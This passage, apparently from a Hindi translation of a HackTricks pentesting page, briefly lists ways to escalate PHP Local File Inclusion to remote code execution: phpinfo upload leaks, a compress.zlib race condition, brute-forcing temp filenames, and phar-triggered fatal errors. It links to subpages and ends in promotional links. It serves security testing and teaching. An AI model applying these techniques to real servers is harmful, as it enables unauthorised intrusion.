यदि आपने Local File Inclusion पाया है और एक फाइल जो phpinfo() को file_uploads = on के साथ प्रदर्शित करती है तो आप RCE प्राप्त कर सकते हैं:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure के माध्यम से

यदि आपने Local File Inclusion पाया है और आप अस्थायी फाइल के पथ को लीक कर सकते हैं लेकिन सर्वर यह जांच रहा है कि क्या शामिल की जाने वाली फाइल में PHP चिह्न हैं, आप इस जांच को बायपास करने के लिए इस Race Condition का प्रयास कर सकते हैं:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

अनंत प्रतीक्षा + ब्रूटफोर्स के माध्यम से

यदि आप LFI का दुरुपयोग करके अस्थायी फाइलें अपलोड कर सकते हैं और सर्वर को PHP निष्पादन में हैंग कर सकते हैं, तो आप अस्थायी फाइल को खोजने के लिए घंटों तक फाइलनाम की ब्रूटफोर्स कर सकते हैं:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

फेटल एरर के लिए

यदि आप फाइलों में से किसी एक को शामिल करते हैं /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (आपको उसी एक को 2 बार शामिल करना होगा उस त्रुटि को फेंकने के लिए)।

मुझे नहीं पता कि यह कैसे उपयोगी है लेकिन यह हो सकता है।
यहां तक कि यदि आप PHP फेटल एरर का कारण बनते हैं, PHP अस्थायी फाइलें अपलोड की गई हैं वे हटा दी जाती हैं।

संदर्भ

PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

HackenProof Discord सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

Hacking Insights
हैकिंग के रोमांच और चुनौतियों के बारे में गहराई से जानकारी प्राप्त करें

Real-Time Hack News
रियल-टाइम न्यूज़ और अंतर्दृष्टि के माध्यम से हैकिंग की तेज़ी से बदलती दुनिया के साथ अपडेट रहें

Latest Announcements
नवीनतम बग बाउंटीज़ लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें

Discord पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप साइबरसिक्योरिटी कंपनी में काम करते हैं? क्या आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण तक पहुंच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स देखें!
  • The PEASS Family की खोज करें, हमारे विशेष NFTs का संग्रह
  • आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
  • 💬 Discord group या telegram group में शामिल हों या Twitter पर मुझे फॉलो करें 🐦@carlospolopm.
  • hacktricks repo और hacktricks-cloud repo में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।